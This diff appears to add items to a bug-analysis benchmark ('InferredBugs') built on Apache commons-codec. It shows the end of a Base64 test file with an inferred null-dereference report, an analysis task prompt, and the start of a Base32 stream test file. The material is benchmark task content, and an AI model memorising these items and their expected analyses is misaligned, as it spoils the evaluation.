+        assertEquals("AAA0\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 0, (byte) 0, (byte) 52})));
+        assertEquals("AAA1\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 0, (byte) 0, (byte) 53})));
+        assertEquals("AAA2\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 0, (byte) 0, (byte) 54})));
+        assertEquals("AAA3\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 0, (byte) 0, (byte) 55})));
+        assertEquals("AAA4\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 0, (byte) 0, (byte) 56})));
+        assertEquals("AAA5\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 0, (byte) 0, (byte) 57})));
+        assertEquals("AAA6\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 0, (byte) 0, (byte) 58})));
+        assertEquals("AAA7\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 0, (byte) 0, (byte) 59})));
+        assertEquals("AAA8\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 0, (byte) 0, (byte) 60})));
+        assertEquals("AAA9\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 0, (byte) 0, (byte) 61})));
+        assertEquals("AAA+\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 0, (byte) 0, (byte) 62})));
+        assertEquals("AAA/\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 0, (byte) 0, (byte) 63})));
+    }
+
+    /**
+     * Tests url-safe Base64 against random data, sizes 0 to 150.
+     */
+    @Test
+    public void testUrlSafe() {
+        // test random data of sizes 0 thru 150
+        for (int i = 0; i <= 150; i++) {
+            final byte[][] randomData = Base64TestData.randomData(i, true);
+            final byte[] encoded = randomData[1];
+            final byte[] decoded = randomData[0];
+            final byte[] result = Base64.decodeBase64(encoded);
+            assertTrue("url-safe i=" + i, Arrays.equals(decoded, result));
+            assertFalse("url-safe i=" + i + " no '='", Base64TestData.bytesContain(encoded, (byte) '='));
+            assertFalse("url-safe i=" + i + " no '\\'", Base64TestData.bytesContain(encoded, (byte) '\\'));
+            assertFalse("url-safe i=" + i + " no '+'", Base64TestData.bytesContain(encoded, (byte) '+'));
+        }
+
+    }
+
+    /**
+     * Base64 encoding of UUID's is a common use-case, especially in URL-SAFE mode. This test case ends up being the
+     * "URL-SAFE" JUnit's.
+     *
+     * @throws DecoderException
+     *             if Hex.decode() fails - a serious problem since Hex comes from our own commons-codec!
+     */
+    @Test
+    public void testUUID() throws DecoderException {
+        // The 4 UUID's below contains mixtures of + and / to help us test the
+        // URL-SAFE encoding mode.
+        final byte[][] ids = new byte[4][];
+
+        // ids[0] was chosen so that it encodes with at least one +.
+        ids[0] = Hex.decodeHex("94ed8d0319e4493399560fb67404d370".toCharArray());
+
+        // ids[1] was chosen so that it encodes with both / and +.
+        ids[1] = Hex.decodeHex("2bf7cc2701fe4397b49ebeed5acc7090".toCharArray());
+
+        // ids[2] was chosen so that it encodes with at least one /.
+        ids[2] = Hex.decodeHex("64be154b6ffa40258d1a01288e7c31ca".toCharArray());
+
+        // ids[3] was chosen so that it encodes with both / and +, with /
+        // right at the beginning.
+        ids[3] = Hex.decodeHex("ff7f8fc01cdb471a8c8b5a9306183fe8".toCharArray());
+
+        final byte[][] standard = new byte[4][];
+        standard[0] = StringUtils.getBytesUtf8("lO2NAxnkSTOZVg+2dATTcA==");
+        standard[1] = StringUtils.getBytesUtf8("K/fMJwH+Q5e0nr7tWsxwkA==");
+        standard[2] = StringUtils.getBytesUtf8("ZL4VS2/6QCWNGgEojnwxyg==");
+        standard[3] = StringUtils.getBytesUtf8("/3+PwBzbRxqMi1qTBhg/6A==");
+
+        final byte[][] urlSafe1 = new byte[4][];
+        // regular padding (two '==' signs).
+        urlSafe1[0] = StringUtils.getBytesUtf8("lO2NAxnkSTOZVg-2dATTcA==");
+        urlSafe1[1] = StringUtils.getBytesUtf8("K_fMJwH-Q5e0nr7tWsxwkA==");
+        urlSafe1[2] = StringUtils.getBytesUtf8("ZL4VS2_6QCWNGgEojnwxyg==");
+        urlSafe1[3] = StringUtils.getBytesUtf8("_3-PwBzbRxqMi1qTBhg_6A==");
+
+        final byte[][] urlSafe2 = new byte[4][];
+        // single padding (only one '=' sign).
+        urlSafe2[0] = StringUtils.getBytesUtf8("lO2NAxnkSTOZVg-2dATTcA=");
+        urlSafe2[1] = StringUtils.getBytesUtf8("K_fMJwH-Q5e0nr7tWsxwkA=");
+        urlSafe2[2] = StringUtils.getBytesUtf8("ZL4VS2_6QCWNGgEojnwxyg=");
+        urlSafe2[3] = StringUtils.getBytesUtf8("_3-PwBzbRxqMi1qTBhg_6A=");
+
+        final byte[][] urlSafe3 = new byte[4][];
+        // no padding (no '=' signs).
+        urlSafe3[0] = StringUtils.getBytesUtf8("lO2NAxnkSTOZVg-2dATTcA");
+        urlSafe3[1] = StringUtils.getBytesUtf8("K_fMJwH-Q5e0nr7tWsxwkA");
+        urlSafe3[2] = StringUtils.getBytesUtf8("ZL4VS2_6QCWNGgEojnwxyg");
+        urlSafe3[3] = StringUtils.getBytesUtf8("_3-PwBzbRxqMi1qTBhg_6A");
+
+        for (int i = 0; i < 4; i++) {
+            final byte[] encodedStandard = Base64.encodeBase64(ids[i]);
+            final byte[] encodedUrlSafe = Base64.encodeBase64URLSafe(ids[i]);
+            final byte[] decodedStandard = Base64.decodeBase64(standard[i]);
+            final byte[] decodedUrlSafe1 = Base64.decodeBase64(urlSafe1[i]);
+            final byte[] decodedUrlSafe2 = Base64.decodeBase64(urlSafe2[i]);
+            final byte[] decodedUrlSafe3 = Base64.decodeBase64(urlSafe3[i]);
+
+            // Very important debugging output should anyone
+            // ever need to delve closely into this stuff.
+            if (false) {
+                System.out.println("reference: [" + Hex.encodeHexString(ids[i]) + "]");
+                System.out.println("standard:  [" +
+                        Hex.encodeHexString(decodedStandard) +
+                    "] From: [" +
+                    StringUtils.newStringUtf8(standard[i]) +
+                    "]");
+                System.out.println("safe1:     [" +
+                        Hex.encodeHexString(decodedUrlSafe1) +
+                    "] From: [" +
+                    StringUtils.newStringUtf8(urlSafe1[i]) +
+                    "]");
+                System.out.println("safe2:     [" +
+                        Hex.encodeHexString(decodedUrlSafe2) +
+                    "] From: [" +
+                    StringUtils.newStringUtf8(urlSafe2[i]) +
+                    "]");
+                System.out.println("safe3:     [" +
+                        Hex.encodeHexString(decodedUrlSafe3) +
+                    "] From: [" +
+                    StringUtils.newStringUtf8(urlSafe3[i]) +
+                    "]");
+            }
+
+            assertTrue("standard encode uuid", Arrays.equals(encodedStandard, standard[i]));
+            assertTrue("url-safe encode uuid", Arrays.equals(encodedUrlSafe, urlSafe3[i]));
+            assertTrue("standard decode uuid", Arrays.equals(decodedStandard, ids[i]));
+            assertTrue("url-safe1 decode uuid", Arrays.equals(decodedUrlSafe1, ids[i]));
+            assertTrue("url-safe2 decode uuid", Arrays.equals(decodedUrlSafe2, ids[i]));
+            assertTrue("url-safe3 decode uuid", Arrays.equals(decodedUrlSafe3, ids[i]));
+        }
+    }
+
+    @Test
+    public void testByteToStringVariations() throws DecoderException {
+        final Base64 base64 = new Base64(0);
+        final byte[] b1 = StringUtils.getBytesUtf8("Hello World");
+        final byte[] b2 = new byte[0];
+        final byte[] b3 = null;
+        final byte[] b4 = Hex.decodeHex("2bf7cc2701fe4397b49ebeed5acc7090".toCharArray());  // for url-safe tests
+
+        assertEquals("byteToString Hello World", "SGVsbG8gV29ybGQ=", base64.encodeToString(b1));
+        assertEquals("byteToString static Hello World", "SGVsbG8gV29ybGQ=", Base64.encodeBase64String(b1));
+        assertEquals("byteToString \"\"", "", base64.encodeToString(b2));
+        assertEquals("byteToString static \"\"", "", Base64.encodeBase64String(b2));
+        assertEquals("byteToString null", null, base64.encodeToString(b3));
+        assertEquals("byteToString static null", null, Base64.encodeBase64String(b3));
+        assertEquals("byteToString UUID", "K/fMJwH+Q5e0nr7tWsxwkA==", base64.encodeToString(b4));
+        assertEquals("byteToString static UUID", "K/fMJwH+Q5e0nr7tWsxwkA==", Base64.encodeBase64String(b4));
+        assertEquals("byteToString static-url-safe UUID", "K_fMJwH-Q5e0nr7tWsxwkA", Base64.encodeBase64URLSafeString(b4));
+    }
+
+    @Test
+    public void testStringToByteVariations() throws DecoderException {
+        final Base64 base64 = new Base64();
+        final String s1 = "SGVsbG8gV29ybGQ=\r\n";
+        final String s2 = "";
+        final String s3 = null;
+        final String s4a = "K/fMJwH+Q5e0nr7tWsxwkA==\r\n";
+        final String s4b = "K_fMJwH-Q5e0nr7tWsxwkA";
+        final byte[] b4 = Hex.decodeHex("2bf7cc2701fe4397b49ebeed5acc7090".toCharArray());  // for url-safe tests
+
+        assertEquals("StringToByte Hello World", "Hello World", StringUtils.newStringUtf8(base64.decode(s1)));
+        assertEquals("StringToByte Hello World", "Hello World", StringUtils.newStringUtf8((byte[])base64.decode((Object)s1)));
+        assertEquals("StringToByte static Hello World", "Hello World", StringUtils.newStringUtf8(Base64.decodeBase64(s1)));
+        assertEquals("StringToByte \"\"", "", StringUtils.newStringUtf8(base64.decode(s2)));
+        assertEquals("StringToByte static \"\"", "", StringUtils.newStringUtf8(Base64.decodeBase64(s2)));
+        assertEquals("StringToByte null", null, StringUtils.newStringUtf8(base64.decode(s3)));
+        assertEquals("StringToByte static null", null, StringUtils.newStringUtf8(Base64.decodeBase64(s3)));
+        assertTrue("StringToByte UUID", Arrays.equals(b4, base64.decode(s4b)));
+        assertTrue("StringToByte static UUID", Arrays.equals(b4, Base64.decodeBase64(s4a)));
+        assertTrue("StringToByte static-url-safe UUID", Arrays.equals(b4, Base64.decodeBase64(s4b)));
+    }
+
+    private String toString(final byte[] data) {
+        final StringBuilder buf = new StringBuilder();
+        for (int i = 0; i < data.length; i++) {
+            buf.append(data[i]);
+            if (i != data.length - 1) {
+                buf.append(",");
+            }
+        }
+        return buf.toString();
+    }
+
+    /**
+     * Tests a lineSeparator much bigger than DEFAULT_BUFFER_SIZE.
+     *
+     * @see "<a href='http://mail-archives.apache.org/mod_mbox/commons-dev/201202.mbox/%3C4F3C85D7.5060706@snafu.de%3E'>dev@commons.apache.org</a>"
+     */
+    @Test
+    @Ignore
+    public void testHugeLineSeparator() {
+        final int BaseNCodec_DEFAULT_BUFFER_SIZE = 8192;
+        final int Base64_BYTES_PER_ENCODED_BLOCK = 4;
+        final byte[] baLineSeparator = new byte[BaseNCodec_DEFAULT_BUFFER_SIZE * 4 - 3];
+        final Base64 b64 = new Base64(Base64_BYTES_PER_ENCODED_BLOCK, baLineSeparator);
+        final String strOriginal = "Hello World";
+        final String strDecoded = new String(b64.decode(b64.encode(StringUtils.getBytesUtf8(strOriginal))));
+        assertEquals("testDEFAULT_BUFFER_SIZE", strOriginal, strDecoded);
+    }
+
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+object returned by `decodeBase64("====".getBytes(org.apache.commons.codec.Charsets.UTF_8))` could be null and is dereferenced at line 286.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void Base64Test.testDecodePadOnly()
+
+### Procedure Id:
+org.apache.commons.codec.binary.Base64Test.testDecodePadOnly():void.402f9e7c9e19ad22994a4705cc6b070d
+
+### File:
+src/test/java/org/apache/commons/codec/binary/Base64Test.java
+
+### Key:
+Base64Test.java|testDecodePadOnly|NULL_DEREFERENCE
+
+### Node Key:
+fac626f133978bf760e16b3dd9d98ff6
+
+### Hash:
+a4a8cbbc0578dba73b2f6c6a92e5a5a8
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-3313/instruction.md b/inferredbugs-3313/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..e68b9bbb266c32d0fd515c5d47120b6c437c13cc
--- /dev/null
+++ b/inferredbugs-3313/instruction.md
@@ -0,0 +1,617 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** commons-codec
+**Bug ID:** 32
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*
+ * Licensed to the Apache Software Foundation (ASF) under one or more
+ * contributor license agreements.  See the NOTICE file distributed with
+ * this work for additional information regarding copyright ownership.
+ * The ASF licenses this file to You under the Apache License, Version 2.0
+ * (the "License"); you may not use this file except in compliance with
+ * the License.  You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package org.apache.commons.codec.binary;
+
+import static org.junit.Assert.assertArrayEquals;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
+import java.io.ByteArrayInputStream;
+import java.io.ByteArrayOutputStream;
+import java.io.IOException;
+import java.io.InputStream;
+import java.util.Arrays;
+
+import org.junit.Test;
+
+public class Base32InputStreamTest {
+
+    private static final String ENCODED_FOO = "MZXW6===";
+
+    private final static byte[] CRLF = { (byte) '\r', (byte) '\n' };
+
+    private final static byte[] LF = { (byte) '\n' };
+
+    private static final String STRING_FIXTURE = "Hello World";
+
+    /**
+     * Tests the problem reported in CODEC-130. Missing / wrong implementation of skip.
+     */
+    @Test
+    public void testCodec130() throws IOException {
+        ByteArrayOutputStream bos = new ByteArrayOutputStream();
+        Base32OutputStream base32os = new Base32OutputStream(bos);
+
+        base32os.write(StringUtils.getBytesUtf8(STRING_FIXTURE));
+        base32os.close();
+
+        ByteArrayInputStream bis = new ByteArrayInputStream(bos.toByteArray());
+        Base32InputStream ins = new Base32InputStream(bis);
+
+        // we skip the first character read from the reader
+        ins.skip(1);
+        byte[] decodedBytes = Base32TestData.streamToBytes(ins, new byte[64]);
+        String str = StringUtils.newStringUtf8(decodedBytes);
+
+        assertEquals(STRING_FIXTURE.substring(1), str);
+    }
+
+    /**
+     * Tests the bug reported in CODEC-105. Bad interactions with InputStream when reading one byte at a time.
+     */
+    @Test
+    public void testCodec105() throws IOException {
+        Base32InputStream in = new Base32InputStream(new Codec105ErrorInputStream(), true, 0, null);
+        try {
+            for (int i = 0; i < 5; i++) {
+                in.read();
+            }
+        } finally {
+            in.close();
+        }
+    }
+
+    // /**
+    // * Test for the CODEC-101 bug: InputStream.read(byte[]) should never return 0
+    // * because Java's builtin InputStreamReader hates that.
+    // *
+    // * @throws Exception for some failure scenarios.
+    // */
+    // @Test
+    // public void testCodec101() throws Exception {
+    // byte[] codec101 = StringUtils.getBytesUtf8(Base32TestData.CODEC_101_MULTIPLE_OF_3);
+    // ByteArrayInputStream bais = new ByteArrayInputStream(codec101);
+    // Base32InputStream in = new Base32InputStream(bais);
+    // byte[] result = new byte[8192];
+    // int c = in.read(result);
+    // assertTrue("Codec101: First read successful [c=" + c + "]", c > 0);
+    //
+    // c = in.read(result);
+    // assertTrue("Codec101: Second read should report end-of-stream [c=" + c + "]", c < 0);
+    // }
+
+    /**
+     * Another test for the CODEC-101 bug: In commons-codec-1.4 this test shows InputStreamReader explicitly hating an
+     * InputStream.read(byte[]) return of 0:
+     *
+     * java.io.IOException: Underlying input stream returned zero bytes at sun.nio.cs.StreamDecoder.readBytes(StreamDecoder.java:268) at
+     * sun.nio.cs.StreamDecoder.implRead(StreamDecoder.java:306) at sun.nio.cs.StreamDecoder.read(StreamDecoder.java:158) at
+     * java.io.InputStreamReader.read(InputStreamReader.java:167) at java.io.BufferedReader.fill(BufferedReader.java:136) at
+     * java.io.BufferedReader.readLine(BufferedReader.java:299) at java.io.BufferedReader.readLine(BufferedReader.java:362) at
+     * org.apache.commons.codec.binary.Base32InputStreamTest.testInputStreamReader(Base32InputStreamTest.java:75)
+     *
+     * But in commons-codec-1.5 it's fixed. :-)
+     *
+     * @throws Exception
+     *             for some failure scenarios.
+     */
+    // @Test
+    // public void testInputStreamReader() throws Exception {
+    // byte[] codec101 = StringUtils.getBytesUtf8(Base32TestData.CODEC_101_MULTIPLE_OF_3);
+    // ByteArrayInputStream bais = new ByteArrayInputStream(codec101);
+    // Base32InputStream in = new Base32InputStream(bais);
+    // InputStreamReader isr = new InputStreamReader(in);
+    // BufferedReader br = new BufferedReader(isr);
+    // String line = br.readLine();
+    // assertNotNull("Codec101:  InputStreamReader works!", line);
+    // }
+
+    /**
+     * Test the Base32InputStream implementation against the special NPE inducing input identified in the CODEC-98 bug.
+     *
+     * @throws Exception
+     *             for some failure scenarios.
+     */
+    // @Test
+    // public void testCodec98NPE() throws Exception {
+    // byte[] codec98 = StringUtils.getBytesUtf8(Base32TestData.CODEC_98_NPE);
+    // ByteArrayInputStream data = new ByteArrayInputStream(codec98);
+    // Base32InputStream stream = new Base32InputStream(data);
+    //
+    // // This line causes an NPE in commons-codec-1.4.jar:
+    // byte[] decodedBytes = Base32TestData.streamToBytes(stream, new byte[1024]);
+    //
+    // String decoded = StringUtils.newStringUtf8(decodedBytes);
+    // assertEquals(
+    // "codec-98 NPE Base32InputStream", Base32TestData.CODEC_98_NPE_DECODED, decoded
+    // );
+    // }
+
+    /**
+     * Tests skipping past the end of a stream.
+     *
+     * @throws Throwable
+     */
+    @Test
+    public void testAvailable() throws Throwable {
+        InputStream ins = new ByteArrayInputStream(StringUtils.getBytesIso8859_1(ENCODED_FOO));
+        Base32InputStream b32stream = new Base32InputStream(ins);
+        assertEquals(1, b32stream.available());
+        assertEquals(3, b32stream.skip(10));
+        // End of stream reached
+        assertEquals(0, b32stream.available());
+        assertEquals(-1, b32stream.read());
+        assertEquals(-1, b32stream.read());
+        assertEquals(0, b32stream.available());
+    }
+
+    /**
+     * Tests the Base32InputStream implementation against empty input.
+     *
+     * @throws Exception
+     *             for some failure scenarios.
+     */
+    @Test
+    public void testBase32EmptyInputStreamMimeChuckSize() throws Exception {
+        testBase32EmptyInputStream(BaseNCodec.MIME_CHUNK_SIZE);
+    }
+
+    /**
+     * Tests the Base32InputStream implementation against empty input.
+     *
+     * @throws Exception
+     *             for some failure scenarios.
+     */
+    @Test
+    public void testBase32EmptyInputStreamPemChuckSize() throws Exception {
+        testBase32EmptyInputStream(BaseNCodec.PEM_CHUNK_SIZE);
+    }
+
+    private void testBase32EmptyInputStream(int chuckSize) throws Exception {
+        byte[] emptyEncoded = new byte[0];
+        byte[] emptyDecoded = new byte[0];
+        testByteByByte(emptyEncoded, emptyDecoded, chuckSize, CRLF);
+        testByChunk(emptyEncoded, emptyDecoded, chuckSize, CRLF);
+    }
+
+    /**
+     * Tests the Base32InputStream implementation.
+     *
+     * @throws Exception
+     *             for some failure scenarios.
+     */
+    @Test
+    public void testBase32InputStreamByChunk() throws Exception {
+        // Hello World test.
+        byte[] encoded = StringUtils.getBytesUtf8(Base32TestData.BASE32_FIXTURE);
+        byte[] decoded = StringUtils.getBytesUtf8(Base32TestData.STRING_FIXTURE);
+        testByChunk(encoded, decoded, BaseNCodec.MIME_CHUNK_SIZE, CRLF);
+
+        // Single Byte test.
+        encoded = StringUtils.getBytesUtf8("AA======\r\n");
+        decoded = new byte[] { (byte) 0 };
+        testByChunk(encoded, decoded, BaseNCodec.MIME_CHUNK_SIZE, CRLF);
+
+        // // OpenSSL interop test.
+        // encoded = StringUtils.getBytesUtf8(Base32TestData.ENCODED_32_CHARS_PER_LINE);
+        // decoded = Base32TestData.DECODED;
+        // testByChunk(encoded, decoded, Base32.PEM_CHUNK_SIZE, LF);
+        //
+        // // Single Line test.
+        // String singleLine = Base32TestData.ENCODED_32_CHARS_PER_LINE.replaceAll("\n", "");
+        // encoded = StringUtils.getBytesUtf8(singleLine);
+        // decoded = Base32TestData.DECODED;
+        // testByChunk(encoded, decoded, 0, LF);
+
+        // test random data of sizes 0 thru 150
+        BaseNCodec codec = new Base32();
+        for (int i = 0; i <= 150; i++) {
+            byte[][] randomData = Base32TestData.randomData(codec, i);
+            encoded = randomData[1];
+            decoded = randomData[0];
+            testByChunk(encoded, decoded, 0, LF);
+        }
+    }
+
+    /**
+     * Tests the Base32InputStream implementation.
+     *
+     * @throws Exception
+     *             for some failure scenarios.
+     */
+    @Test
+    public void testBase32InputStreamByteByByte() throws Exception {
+        // Hello World test.
+        byte[] encoded = StringUtils.getBytesUtf8(Base32TestData.BASE32_FIXTURE);
+        byte[] decoded = StringUtils.getBytesUtf8(Base32TestData.STRING_FIXTURE);
+        testByteByByte(encoded, decoded, BaseNCodec.MIME_CHUNK_SIZE, CRLF);
+
+        // Single Byte test.
+        encoded = StringUtils.getBytesUtf8("AA======\r\n");
+        decoded = new byte[] { (byte) 0 };
+        testByteByByte(encoded, decoded, BaseNCodec.MIME_CHUNK_SIZE, CRLF);
+
+        // // Single Line test.
+        // String singleLine = Base32TestData.ENCODED_32_CHARS_PER_LINE.replaceAll("\n", "");
+        // encoded = StringUtils.getBytesUtf8(singleLine);
+        // decoded = Base32TestData.DECODED;
+        // testByteByByte(encoded, decoded, 0, LF);
+
+        // test random data of sizes 0 thru 150
+        BaseNCodec codec = new Base32();
+        for (int i = 0; i <= 150; i++) {
+            byte[][] randomData = Base32TestData.randomData(codec, i);
+            encoded = randomData[1];
+            decoded = randomData[0];
+            testByteByByte(encoded, decoded, 0, LF);
+        }
+    }
+
+    /**
+     * Tests method does three tests on the supplied data: 1. encoded ---[DECODE]--> decoded 2. decoded ---[ENCODE]--> encoded 3. decoded
+     * ---[WRAP-WRAP-WRAP-etc...] --> decoded
+     * <p/>
+     * By "[WRAP-WRAP-WRAP-etc...]" we mean situation where the Base32InputStream wraps itself in encode and decode mode over and over
+     * again.
+     *
+     * @param encoded
+     *            base32 encoded data
+     * @param decoded
+     *            the data from above, but decoded
+     * @param chunkSize
+     *            chunk size (line-length) of the base32 encoded data.
+     * @param seperator
+     *            Line separator in the base32 encoded data.
+     * @throws Exception
+     *             Usually signifies a bug in the Base32 commons-codec implementation.
+     */
+    private void testByChunk(byte[] encoded, byte[] decoded, int chunkSize, byte[] seperator) throws Exception {
+
+        // Start with encode.
+        InputStream in = new ByteArrayInputStream(decoded);
+        in = new Base32InputStream(in, true, chunkSize, seperator);
+        byte[] output = Base32TestData.streamToBytes(in);
+
+        assertEquals("EOF", -1, in.read());
+        assertEquals("Still EOF", -1, in.read());
+        assertTrue("Streaming base32 encode", Arrays.equals(output, encoded));
+
+        // Now let's try decode.
+        in = new ByteArrayInputStream(encoded);
+        in = new Base32InputStream(in);
+        output = Base32TestData.streamToBytes(in);
+
+        assertEquals("EOF", -1, in.read());
+        assertEquals("Still EOF", -1, in.read());
+        assertTrue("Streaming base32 decode", Arrays.equals(output, decoded));
+
+        // I always wanted to do this! (wrap encoder with decoder etc etc).
+        in = new ByteArrayInputStream(decoded);
+        for (int i = 0; i < 10; i++) {
+            in = new Base32InputStream(in, true, chunkSize, seperator);
+            in = new Base32InputStream(in, false);
+        }
+        output = Base32TestData.streamToBytes(in);
+
+        assertEquals("EOF", -1, in.read());
+        assertEquals("Still EOF", -1, in.read());
+        assertTrue("Streaming base32 wrap-wrap-wrap!", Arrays.equals(output, decoded));
+    }
+
+    /**
+     * Tests method does three tests on the supplied data: 1. encoded ---[DECODE]--> decoded 2. decoded ---[ENCODE]--> encoded 3. decoded
+     * ---[WRAP-WRAP-WRAP-etc...] --> decoded
+     * <p/>
+     * By "[WRAP-WRAP-WRAP-etc...]" we mean situation where the Base32InputStream wraps itself in encode and decode mode over and over
+     * again.
+     *
+     * @param encoded
+     *            base32 encoded data
+     * @param decoded
+     *            the data from above, but decoded
+     * @param chunkSize
+     *            chunk size (line-length) of the base32 encoded data.
+     * @param seperator
+     *            Line separator in the base32 encoded data.
+     * @throws Exception
+     *             Usually signifies a bug in the Base32 commons-codec implementation.
+     */
+    private void testByteByByte(byte[] encoded, byte[] decoded, int chunkSize, byte[] seperator) throws Exception {
+
+        // Start with encode.
+        InputStream in = new ByteArrayInputStream(decoded);
+        in = new Base32InputStream(in, true, chunkSize, seperator);
+        byte[] output = new byte[encoded.length];
+        for (int i = 0; i < output.length; i++) {
+            output[i] = (byte) in.read();
+        }
+
+        assertEquals("EOF", -1, in.read());
+        assertEquals("Still EOF", -1, in.read());
+        assertTrue("Streaming base32 encode", Arrays.equals(output, encoded));
+
+        // Now let's try decode.
+        in = new ByteArrayInputStream(encoded);
+        in = new Base32InputStream(in);
+        output = new byte[decoded.length];
+        for (int i = 0; i < output.length; i++) {
+            output[i] = (byte) in.read();
+        }
+
+        assertEquals("EOF", -1, in.read());
+        assertEquals("Still EOF", -1, in.read());
+        assertTrue("Streaming base32 decode", Arrays.equals(output, decoded));
+
+        // I always wanted to do this! (wrap encoder with decoder etc etc).
+        in = new ByteArrayInputStream(decoded);
+        for (int i = 0; i < 10; i++) {
+            in = new Base32InputStream(in, true, chunkSize, seperator);
+            in = new Base32InputStream(in, false);
+        }
+        output = new byte[decoded.length];
+        for (int i = 0; i < output.length; i++) {
+            output[i] = (byte) in.read();
+        }
+
+        assertEquals("EOF", -1, in.read());
+        assertEquals("Still EOF", -1, in.read());
+        assertTrue("Streaming base32 wrap-wrap-wrap!", Arrays.equals(output, decoded));
+    }
+
+    /**
+     * Tests markSupported.
+     *
+     * @throws Exception
+     */
+    @Test
+    public void testMarkSupported() throws Exception {
+        byte[] decoded = StringUtils.getBytesUtf8(Base32TestData.STRING_FIXTURE);
+        ByteArrayInputStream bin = new ByteArrayInputStream(decoded);
+        Base32InputStream in = new Base32InputStream(bin, true, 4, new byte[] { 0, 0, 0 });
+        // Always returns false for now.
+        assertFalse("Base32InputStream.markSupported() is false", in.markSupported());
+    }
+
+    /**
+     * Tests read returning 0
+     *
+     * @throws Exception
+     */
+    @Test
+    public void testRead0() throws Exception {
+        byte[] decoded = StringUtils.getBytesUtf8(Base32TestData.STRING_FIXTURE);
+        byte[] buf = new byte[1024];
+        int bytesRead = 0;
+        ByteArrayInputStream bin = new ByteArrayInputStream(decoded);
+        Base32InputStream in = new Base32InputStream(bin, true, 4, new byte[] { 0, 0, 0 });
+        bytesRead = in.read(buf, 0, 0);
+        assertEquals("Base32InputStream.read(buf, 0, 0) returns 0", 0, bytesRead);
+    }
+
+    /**
+     * Tests read with null.
+     *
+     * @throws Exception
+     *             for some failure scenarios.
+     */
+    @Test
+    public void testReadNull() throws Exception {
+        byte[] decoded = StringUtils.getBytesUtf8(Base32TestData.STRING_FIXTURE);
+        ByteArrayInputStream bin = new ByteArrayInputStream(decoded);
+        Base32InputStream in = new Base32InputStream(bin, true, 4, new byte[] { 0, 0, 0 });
+        try {
+            in.read(null, 0, 0);
+            fail("Base32InputStream.read(null, 0, 0) to throw a NullPointerException");
+        } catch (NullPointerException e) {
+            // Expected
+        }
+    }
+
+    /**
+     * Tests read throwing IndexOutOfBoundsException
+     *
+     * @throws Exception
+     */
+    @Test
+    public void testReadOutOfBounds() throws Exception {
+        byte[] decoded = StringUtils.getBytesUtf8(Base32TestData.STRING_FIXTURE);
+        byte[] buf = new byte[1024];
+        ByteArrayInputStream bin = new ByteArrayInputStream(decoded);
+        Base32InputStream in = new Base32InputStream(bin, true, 4, new byte[] { 0, 0, 0 });
+
+        try {
+            in.read(buf, -1, 0);
+            fail("Expected Base32InputStream.read(buf, -1, 0) to throw IndexOutOfBoundsException");
+        } catch (IndexOutOfBoundsException e) {
+            // Expected
+        }
+
+        try {
+            in.read(buf, 0, -1);
+            fail("Expected Base32InputStream.read(buf, 0, -1) to throw IndexOutOfBoundsException");
+        } catch (IndexOutOfBoundsException e) {
+            // Expected
+        }
+
+        try {
+            in.read(buf, buf.length + 1, 0);
+            fail("Base32InputStream.read(buf, buf.length + 1, 0) throws IndexOutOfBoundsException");
+        } catch (IndexOutOfBoundsException e) {
+            // Expected
+        }
+
+        try {
+            in.read(buf, buf.length - 1, 2);
+            fail("Base32InputStream.read(buf, buf.length - 1, 2) throws IndexOutOfBoundsException");
+        } catch (IndexOutOfBoundsException e) {
+            // Expected
+        }
+    }
+
+    /**
+     * Tests skipping as a noop
+     *
+     * @throws Throwable
+     */
+    @Test
+    public void testSkipNone() throws Throwable {
+        InputStream ins = new ByteArrayInputStream(StringUtils.getBytesIso8859_1(ENCODED_FOO));
+        Base32InputStream b32stream = new Base32InputStream(ins);
+        byte[] actualBytes = new byte[6];
+        assertEquals(0, b32stream.skip(0));
+        b32stream.read(actualBytes, 0, actualBytes.length);
+        assertArrayEquals(actualBytes, new byte[] { 102, 111, 111, 0, 0, 0 });
+        // End of stream reached
+        assertEquals(-1, b32stream.read());
+    }
+
+    /**
+     * Tests skipping number of characters larger than the internal buffer.
+     *
+     * @throws Throwable
+     */
+    @Test
+    public void testSkipBig() throws Throwable {
+        InputStream ins = new ByteArrayInputStream(StringUtils.getBytesIso8859_1(ENCODED_FOO));
+        Base32InputStream b32stream = new Base32InputStream(ins);
+        assertEquals(3, b32stream.skip(1024));
+        // End of stream reached
+        assertEquals(-1, b32stream.read());
